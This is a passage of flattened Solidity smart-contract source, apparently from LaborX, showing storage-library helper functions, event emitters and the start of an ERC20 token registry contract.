SET_IDENTIFIER, _value); } function remove(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) private { if (!includes(self, item, _salt, _value)) { return; } uint lastIndex = count(self, item, _salt); bytes32 lastValue = get(self, item.values, _salt, bytes32(lastIndex)); uint index = uint(get(self, item.indexes, _salt, _value)); if (index < lastIndex) { set(self, item.indexes, _salt, lastValue, bytes32(index)); set(self, item.values, _salt, bytes32(index), lastValue); } set(self, item.indexes, _salt, _value, bytes32(0)); set(self, item.values, _salt, bytes32(lastIndex), bytes32(0)); set(self, item.count, _salt, lastIndex - 1); } function remove(Config storage self, AddressesSet storage item, address _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, CounterSet storage item, uint _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, OrderedSet storage item, bytes32 _value) internal { remove(self, item, ORDERED_SET_IDENTIFIER, _value); } function remove(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private { if (!includes(self, item, _salt, _value)) { return; } _setOrderedSetLink(self, item.nextValues, _salt, get(self, item.previousValues, _salt, _value), get(self, item.nextValues, _salt, _value)); _setOrderedSetLink(self, item.previousValues, _salt, get(self, item.nextValues, _salt, _value), get(self, item.previousValues, _salt, _value)); if (_value == get(self, item.first, _salt)) { set(self, item.first, _salt, get(self, item.nextValues, _salt, _value)); } if (_value == get(self, item.last, _salt)) { set(self, item.last, _salt, get(self, item.previousValues, _salt, _value)); } _deleteOrderedSetLink(self, item.nextValues, _salt, _value); _deleteOrderedSetLink(self, item.previousValues, _salt, _value); set(self, item.count, _salt, get(self, item.count, _salt) - 1); } function remove(Config storage self, OrderedUIntSet storage item, uint _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, OrderedAddressesSet storage item, address _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal { remove(self, item.innerMapping, _key, _value); } function remove(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal { remove(self, item.innerMapping, _key, _value); } function remove(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } /** 'copy` operation */ function copy(Config storage self, Set storage source, Set storage dest) internal { uint _destCount = count(self, dest); bytes32[] memory _toRemoveFromDest = new bytes32[](_destCount); uint _idx; uint _pointer = 0; for (_idx = 0; _idx < _destCount; ++_idx) { bytes32 _destValue = get(self, dest, _idx); if (!includes(self, source, _destValue)) { _toRemoveFromDest[_pointer++] = _destValue; } } uint _sourceCount = count(self, source); for (_idx = 0; _idx < _sourceCount; ++_idx) { add(self, dest, get(self, source, _idx)); } for (_idx = 0; _idx < _pointer; ++_idx) { remove(self, dest, _toRemoveFromDest[_idx]); } } function copy(Config storage self, AddressesSet storage source, AddressesSet storage dest) internal { copy(self, source.innerSet, dest.innerSet); } function copy(Config storage self, CounterSet storage source, CounterSet storage dest) internal { copy(self, source.innerSet, dest.innerSet); } /** `get` operation */ function get(Config storage self, UInt storage item) internal view returns (uint) { return self.store.getUInt(self.crate, item.id); } function get(Config storage self, UInt storage item, bytes32 salt) internal view returns (uint) { return self.store.getUInt(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, UInt8 storage item) internal view returns (uint8) { return self.store.getUInt8(self.crate, item.id); } function get(Config storage self, UInt8 storage item, bytes32 salt) internal view returns (uint8) { return self.store.getUInt8(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Int storage item) internal view returns (int) { return self.store.getInt(self.crate, item.id); } function get(Config storage self, Int storage item, bytes32 salt) internal view returns (int) { return self.store.getInt(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Address storage item) internal view returns (address) { return self.store.getAddress(self.crate, item.id); } function get(Config storage self, Address storage item, bytes32 salt) internal view returns (address) { return self.store.getAddress(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Bool storage item) internal view returns (bool) { return self.store.getBool(self.crate, item.id); } function get(Config storage self, Bool storage item, bytes32 salt) internal view returns (bool) { return self.store.getBool(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Bytes32 storage item) internal view returns (bytes32) { return self.store.getBytes32(self.crate, item.id); } function get(Config storage self, Bytes32 storage item, bytes32 salt) internal view returns (bytes32) { return self.store.getBytes32(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, String storage item) internal view returns (string) { return self.store.getString(self.crate, item.id); } function get(Config storage self, String storage item, bytes32 salt) internal view returns (string) { return self.store.getString(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, BytesSequence storage item) internal view returns (bytes) { return self.store.getBytesSequence(self.crate, item.id); } function get(Config storage self, BytesSequence storage item, bytes32 salt) internal view returns (bytes) { return self.store.getBytesSequence(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Mapping storage item, uint _key) internal view returns (uint) { return self.store.getUInt(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(Config storage self, Mapping storage item, bytes32 _key) internal view returns (bytes32) { return self.store.getBytes32(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(Config storage self, StringMapping storage item, bytes32 _key) internal view returns (string) { return get(self, item.id, _key); } function get(Config storage self, BytesSequenceMapping storage item, bytes32 _key) internal view returns (bytes) { return get(self, item.id, _key); } function get(Config storage self, AddressUInt8Mapping storage item, bytes32 _key) internal view returns (address, uint8) { return self.store.getAddressUInt8(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2) internal view returns (bytes32) { return get(self, item, keccak256(abi.encodePacked(_key, _key2))); } function get(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _key3) internal view returns (bytes32) { return get(self, item, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(Config storage self, Bool storage item, bytes32 _key, bytes32 _key2, bytes32 _key3) internal view returns (bool) { return get(self, item, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(Config storage self, UIntBoolMapping storage item, uint _key) internal view returns (bool) { return get(self, item.innerMapping, bytes32(_key)); } function get(Config storage self, UIntEnumMapping storage item, uint _key) internal view returns (uint8) { return uint8(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, UIntUIntMapping storage item, uint _key) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, UIntAddressMapping storage item, uint _key) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, Bytes32UIntMapping storage item, bytes32 _key) internal view returns (uint) { return uint(get(self, item.innerMapping, _key)); } function get(Config storage self, Bytes32AddressMapping storage item, bytes32 _key) internal view returns (address) { return address(get(self, item.innerMapping, _key)); } function get(Config storage self, Bytes32UInt8Mapping storage item, bytes32 _key) internal view returns (uint8) { return get(self, item.innerMapping, _key); } function get(Config storage self, Bytes32BoolMapping storage item, bytes32 _key) internal view returns (bool) { return get(self, item.innerMapping, _key); } function get(Config storage self, Bytes32Bytes32Mapping storage item, bytes32 _key) internal view returns (bytes32) { return get(self, item.innerMapping, _key); } function get(Config storage self, Bytes32UIntBoolMapping storage item, bytes32 _key, uint _key2) internal view returns (bool) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2))); } function get(Config storage self, UIntBytes32Mapping storage item, uint _key) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key)); } function get(Config storage self, AddressUIntMapping storage item, address _key) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, AddressBoolMapping storage item, address _key) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, AddressAddressMapping storage item, address _key) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, AddressBytes32Mapping storage item, address _key) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key)); } function get(Config storage self, UIntUIntBytes32Mapping storage item, uint _key, uint _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2)); } function get(Config storage self, UIntUIntAddressMapping storage item, uint _key, uint _key2) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntUIntUIntMapping storage item, uint _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, Bytes32UIntUIntMapping storage item, bytes32 _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, bytes32(_key2))); } function get(Config storage self, Bytes32UIntUIntUIntMapping storage item, bytes32 _key, uint _key2, uint _key3) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, bytes32(_key2), bytes32(_key3))); } function get(Config storage self, AddressAddressUIntMapping storage item, address _key, address _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressAddressUInt8Mapping storage item, address _key, address _key2) internal view returns (uint8) { return uint8(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressUIntUIntMapping storage item, address _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressUIntUInt8Mapping storage item, address _key, uint _key2) internal view returns (uint) { return uint8(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressBytes32Bytes32Mapping storage item, address _key, bytes32 _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), _key2); } function get(Config storage self, AddressBytes4BoolMapping storage item, address _key, bytes4 _key2) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressBytes4Bytes32Mapping storage item, address _key, bytes4 _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2)); } function get(Config storage self, UIntAddressUIntMapping storage item, uint _key, address _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntAddressBoolMapping storage item, uint _key, address _key2) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntAddressAddressMapping storage item, uint _key, address _key2) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntAddressAddressBoolMapping storage item, uint _key, address _key2, address _key3) internal view returns (bool) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3)); } function get(Config storage self, UIntUIntUIntBytes32Mapping storage item, uint _key, uint _key2, uint _key3) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3)); } function get(Config storage self, AddressUIntUIntUIntMapping storage item, address _key, uint _key2, uint _key3) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3))); } function get(Config storage self, AddressUIntStructAddressUInt8Mapping storage item, address _key, uint _key2) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2))); } function get(Config storage self, AddressUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(Config storage self, AddressUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4))); } function get(Config storage self, AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, uint _key5) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5))); } function get(Config storage self, AddressUIntAddressUInt8Mapping storage item, address _key, uint _key2, address _key3) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)))); } function get(Config storage self, AddressUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _key4) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)))); } function get(Config storage self, AddressUIntUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _key5) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)))); } /** `includes` operation */ function includes(Config storage self, Set storage item, bytes32 _value) internal view returns (bool) { return includes(self, item, SET_IDENTIFIER, _value); } function includes(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) internal view returns (bool) { return get(self, item.indexes, _salt, _value) != 0; } function includes(Config storage self, AddressesSet storage item, address _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, CounterSet storage item, uint _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, OrderedSet storage item, bytes32 _value) internal view returns (bool) { return includes(self, item, ORDERED_SET_IDENTIFIER, _value); } function includes(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bool) { return _value != 0x0 && (get(self, item.nextValues, _salt, _value) != 0x0 || get(self, item.last, _salt) == _value); } function includes(Config storage self, OrderedUIntSet storage item, uint _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, OrderedAddressesSet storage item, address _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, _value); } function includes(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, _value); } function includes(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function getIndex(Config storage self, Set storage item, bytes32 _value) internal view returns (uint) { return getIndex(self, item, SET_IDENTIFIER, _value); } function getIndex(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) private view returns (uint) { return uint(get(self, item.indexes, _salt, _value)); } function getIndex(Config storage self, AddressesSet storage item, address _value) internal view returns (uint) { return getIndex(self, item.innerSet, bytes32(_value)); } function getIndex(Config storage self, CounterSet storage item, uint _value) internal view returns (uint) { return getIndex(self, item.innerSet, bytes32(_value)); } function getIndex(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, _value); } function getIndex(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, bytes32(_value)); } function getIndex(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, bytes32(_value)); } /** `count` operation */ function count(Config storage self, Set storage item) internal view returns (uint) { return count(self, item, SET_IDENTIFIER); } function count(Config storage self, Set storage item, bytes32 _salt) internal view returns (uint) { return get(self, item.count, _salt); } function count(Config storage self, AddressesSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, CounterSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, OrderedSet storage item) internal view returns (uint) { return count(self, item, ORDERED_SET_IDENTIFIER); } function count(Config storage self, OrderedSet storage item, bytes32 _salt) private view returns (uint) { return get(self, item.count, _salt); } function count(Config storage self, OrderedUIntSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, OrderedAddressesSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, Bytes32SetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, AddressesSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, UIntSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function get(Config storage self, Set storage item) internal view returns (bytes32[] result) { result = get(self, item, SET_IDENTIFIER); } function get(Config storage self, Set storage item, bytes32 _salt) private view returns (bytes32[] result) { uint valuesCount = count(self, item, _salt); result = new bytes32[](valuesCount); for (uint i = 0; i < valuesCount; i++) { result[i] = get(self, item, _salt, i); } } function get(Config storage self, AddressesSet storage item) internal view returns (address[]) { return toAddresses(get(self, item.innerSet)); } function get(Config storage self, CounterSet storage item) internal view returns (uint[]) { return toUInt(get(self, item.innerSet)); } function get(Config storage self, Bytes32SetMapping storage item, bytes32 _key) internal view returns (bytes32[]) { return get(self, item.innerMapping, _key); } function get(Config storage self, AddressesSetMapping storage item, bytes32 _key) internal view returns (address[]) { return toAddresses(get(self, item.innerMapping, _key)); } function get(Config storage self, UIntSetMapping storage item, bytes32 _key) internal view returns (uint[]) { return toUInt(get(self, item.innerMapping, _key)); } function get(Config storage self, Set storage item, uint _index) internal view returns (bytes32) { return get(self, item, SET_IDENTIFIER, _index); } function get(Config storage self, Set storage item, bytes32 _salt, uint _index) private view returns (bytes32) { return get(self, item.values, _salt, bytes32(_index+1)); } function get(Config storage self, AddressesSet storage item, uint _index) internal view returns (address) { return address(get(self, item.innerSet, _index)); } function get(Config storage self, CounterSet storage item, uint _index) internal view returns (uint) { return uint(get(self, item.innerSet, _index)); } function get(Config storage self, Bytes32SetMapping storage item, bytes32 _key, uint _index) internal view returns (bytes32) { return get(self, item.innerMapping, _key, _index); } function get(Config storage self, AddressesSetMapping storage item, bytes32 _key, uint _index) internal view returns (address) { return address(get(self, item.innerMapping, _key, _index)); } function get(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _index) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, _index)); } function getNextValue(Config storage self, OrderedSet storage item, bytes32 _value) internal view returns (bytes32) { return getNextValue(self, item, ORDERED_SET_IDENTIFIER, _value); } function getNextValue(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bytes32) { return get(self, item.nextValues, _salt, _value); } function getNextValue(Config storage self, OrderedUIntSet storage item, uint _value) internal view returns (uint) { return uint(getNextValue(self, item.innerSet, bytes32(_value))); } function getNextValue(Config storage self, OrderedAddressesSet storage item, address _value) internal view returns (address) { return address(getNextValue(self, item.innerSet, bytes32(_value))); } function getPreviousValue(Config storage self, OrderedSet storage item, bytes32 _value) internal view returns (bytes32) { return getPreviousValue(self, item, ORDERED_SET_IDENTIFIER, _value); } function getPreviousValue(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bytes32) { return get(self, item.previousValues, _salt, _value); } function getPreviousValue(Config storage self, OrderedUIntSet storage item, uint _value) internal view returns (uint) { return uint(getPreviousValue(self, item.innerSet, bytes32(_value))); } function getPreviousValue(Config storage self, OrderedAddressesSet storage item, address _value) internal view returns (address) { return address(getPreviousValue(self, item.innerSet, bytes32(_value))); } function toBool(bytes32 self) internal pure returns (bool) { return self != bytes32(0); } function toBytes32(bool self) internal pure returns (bytes32) { return bytes32(self ? 1 : 0); } function toAddresses(bytes32[] memory self) internal pure returns (address[]) { address[] memory result = new address[](self.length); for (uint i = 0; i < self.length; i++) { result[i] = address(self[i]); } return result; } function toUInt(bytes32[] memory self) internal pure returns (uint[]) { uint[] memory result = new uint[](self.length); for (uint i = 0; i < self.length; i++) { result[i] = uint(self[i]); } return result; } function _setOrderedSetLink(Config storage self, Mapping storage link, bytes32 _salt, bytes32 from, bytes32 to) private { if (from != 0x0) { set(self, link, _salt, from, to); } } function _deleteOrderedSetLink(Config storage self, Mapping storage link, bytes32 _salt, bytes32 from) private { if (from != 0x0) { set(self, link, _salt, from, 0x0); } } /** @title Structure to incapsulate and organize iteration through different kinds of collections */ struct Iterator { uint limit; uint valuesLeft; bytes32 currentValue; bytes32 anchorKey; } function listIterator(Config storage self, OrderedSet storage item, bytes32 anchorKey, bytes32 startValue, uint limit) internal view returns (Iterator) { if (startValue == 0x0) { return listIterator(self, item, anchorKey, limit); } return createIterator(anchorKey, startValue, limit); } function listIterator(Config storage self, OrderedUIntSet storage item, bytes32 anchorKey, uint startValue, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, bytes32(startValue), limit); } function listIterator(Config storage self, OrderedAddressesSet storage item, bytes32 anchorKey, address startValue, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, bytes32(startValue), limit); } function listIterator(Config storage self, OrderedSet storage item, uint limit) internal view returns (Iterator) { return listIterator(self, item, ORDERED_SET_IDENTIFIER, limit); } function listIterator(Config storage self, OrderedSet storage item, bytes32 anchorKey, uint limit) internal view returns (Iterator) { return createIterator(anchorKey, get(self, item.first, anchorKey), limit); } function listIterator(Config storage self, OrderedUIntSet storage item, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, limit); } function listIterator(Config storage self, OrderedUIntSet storage item, bytes32 anchorKey, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, limit); } function listIterator(Config storage self, OrderedAddressesSet storage item, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, limit); } function listIterator(Config storage self, OrderedAddressesSet storage item, uint limit, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, limit); } function listIterator(Config storage self, OrderedSet storage item) internal view returns (Iterator) { return listIterator(self, item, ORDERED_SET_IDENTIFIER); } function listIterator(Config storage self, OrderedSet storage item, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item, anchorKey, get(self, item.count, anchorKey)); } function listIterator(Config storage self, OrderedUIntSet storage item) internal view returns (Iterator) { return listIterator(self, item.innerSet); } function listIterator(Config storage self, OrderedUIntSet storage item, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey); } function listIterator(Config storage self, OrderedAddressesSet storage item) internal view returns (Iterator) { return listIterator(self, item.innerSet); } function listIterator(Config storage self, OrderedAddressesSet storage item, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey); } function listIterator(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key) internal view returns (Iterator) { return listIterator(self, item.innerMapping, _key); } function listIterator(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key) internal view returns (Iterator) { return listIterator(self, item.innerMapping, _key); } function listIterator(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key) internal view returns (Iterator) { return listIterator(self, item.innerMapping, _key); } function createIterator(bytes32 anchorKey, bytes32 startValue, uint limit) internal pure returns (Iterator) { return Iterator({ currentValue: startValue, limit: limit, valuesLeft: limit, anchorKey: anchorKey }); } function getNextWithIterator(Config storage self, OrderedSet storage item, Iterator iterator) internal view returns (bytes32 _nextValue) { if (!canGetNextWithIterator(self, item, iterator)) { revert(); } _nextValue = iterator.currentValue; iterator.currentValue = getNextValue(self, item, iterator.anchorKey, iterator.currentValue); iterator.valuesLeft -= 1; } function getNextWithIterator(Config storage self, OrderedUIntSet storage item, Iterator iterator) internal view returns (uint _nextValue) { return uint(getNextWithIterator(self, item.innerSet, iterator)); } function getNextWithIterator(Config storage self, OrderedAddressesSet storage item, Iterator iterator) internal view returns (address _nextValue) { return address(getNextWithIterator(self, item.innerSet, iterator)); } function getNextWithIterator(Config storage self, Bytes32OrderedSetMapping storage item, Iterator iterator) internal view returns (bytes32 _nextValue) { return getNextWithIterator(self, item.innerMapping, iterator); } function getNextWithIterator(Config storage self, UIntOrderedSetMapping storage item, Iterator iterator) internal view returns (uint _nextValue) { return uint(getNextWithIterator(self, item.innerMapping, iterator)); } function getNextWithIterator(Config storage self, AddressOrderedSetMapping storage item, Iterator iterator) internal view returns (address _nextValue) { return address(getNextWithIterator(self, item.innerMapping, iterator)); } function canGetNextWithIterator(Config storage self, OrderedSet storage item, Iterator iterator) internal view returns (bool) { if (iterator.valuesLeft == 0 || !includes(self, item, iterator.anchorKey, iterator.currentValue)) { return false; } return true; } function canGetNextWithIterator(Config storage self, OrderedUIntSet storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerSet, iterator); } function canGetNextWithIterator(Config storage self, OrderedAddressesSet storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerSet, iterator); } function canGetNextWithIterator(Config storage self, Bytes32OrderedSetMapping storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function canGetNextWithIterator(Config storage self, UIntOrderedSetMapping storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function canGetNextWithIterator(Config storage self, AddressOrderedSetMapping storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function count(Iterator iterator) internal pure returns (uint) { return iterator.valuesLeft; } } // File: @laborx/solidity-storage-contracts/contracts/StorageAdapter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; contract StorageAdapter { using StorageInterface for *; StorageInterface.Config internal store; constructor(Storage _store, bytes32 _crate) public { store.init(_store, _crate); } } // File: contracts/common/Object.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; /** * @title Generic owned destroyable contract */ contract Object is Owned { /** * Common result code. Means everything is fine. */ uint constant OK = 1; } // File: @laborx/solidity-eventshistory-contracts/contracts/EventsHistorySourceAdapter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; /** * @title EventsHistory Source Adapter. */ contract EventsHistorySourceAdapter { // It is address of MultiEventsHistory caller assuming we are inside of delegate call. function _self() internal view returns (address) { return msg.sender; } } // File: contracts/escrow/erc20/ERC20ManagerEmitter.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; /// @title ERC20 Manager emitter contract /// /// Contains all the original event emitting function definitions and events. /// In case of new events needed later, additional emitters can be developed. /// All the functions is meant to be called using delegatecall. contract ERC20ManagerEmitter is EventsHistorySourceAdapter { event LogAddToken ( address indexed self, address token, bytes32 name, bytes32 symbol, bytes32 url, uint8 decimals, bytes32 ipfsHash, bytes32 swarmHash ); event LogTokenChange ( address indexed self, address oldToken, address token, bytes32 name, bytes32 symbol, bytes32 url, uint8 decimals, bytes32 ipfsHash, bytes32 swarmHash ); event LogRemoveToken ( address indexed self, address token, bytes32 name, bytes32 symbol, bytes32 url, uint8 decimals, bytes32 ipfsHash, bytes32 swarmHash ); event Error(address indexed self, uint errorCode); function _emitLogAddToken ( address token, bytes32 name, bytes32 symbol, bytes32 url, uint8 decimals, bytes32 ipfsHash, bytes32 swarmHash ) internal { emit LogAddToken(_self(), token, name, symbol, url, decimals, ipfsHash, swarmHash); } function _emitLogTokenChange ( address oldToken, address token, bytes32 name, bytes32 symbol, bytes32 url, uint8 decimals, bytes32 ipfsHash, bytes32 swarmHash ) internal { emit LogTokenChange(_self(), oldToken, token, name, symbol, url, decimals, ipfsHash, swarmHash); } function _emitLogRemoveToken ( address token, bytes32 name, bytes32 symbol, bytes32 url, uint8 decimals, bytes32 ipfsHash, bytes32 swarmHash ) internal { emit LogRemoveToken(_self(), token, name, symbol, url, decimals, ipfsHash, swarmHash); } function _emitError(uint error) internal returns (uint) { emit Error(_self(), error); return error; } } // File: contracts/escrow/erc20/ERC20Manager.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; contract ERC20TokenVerifier { function verify(address token) public view returns (bool); } /// @title ERC20Manager /// /// @notice ERC20Manager contract which keeps track of all ERC20-based tokens /// registered in a system. contract ERC20Manager is ERC20ManagerEmitter, StorageAdapter, Object { uint constant ERROR_ERCMANAGER_INVALID_INVOCATION = 13000; uint constant ERROR_ERCMANAGER_TOKEN_SYMBOL_NOT_EXISTS = 13002; uint constant ERROR_ERCMANAGER_TOKEN_NOT_EXISTS = 13003; uint constant ERROR_ERCMANAGER_TOKEN_SYMBOL_ALREADY_EXISTS = 13004; uint constant ERROR_ERCMANAGER_TOKEN_ALREADY_EXISTS = 13005; uint constant ERROR_ERCMANAGER_TOKEN_UNCHANGED = 13006; StorageInterface.AddressesSet tokenAddresses; StorageInterface.Bytes32AddressMapping tokenBySymbol; StorageInterface.AddressBytes32Mapping name; StorageInterface.AddressBytes32Mapping symbol; 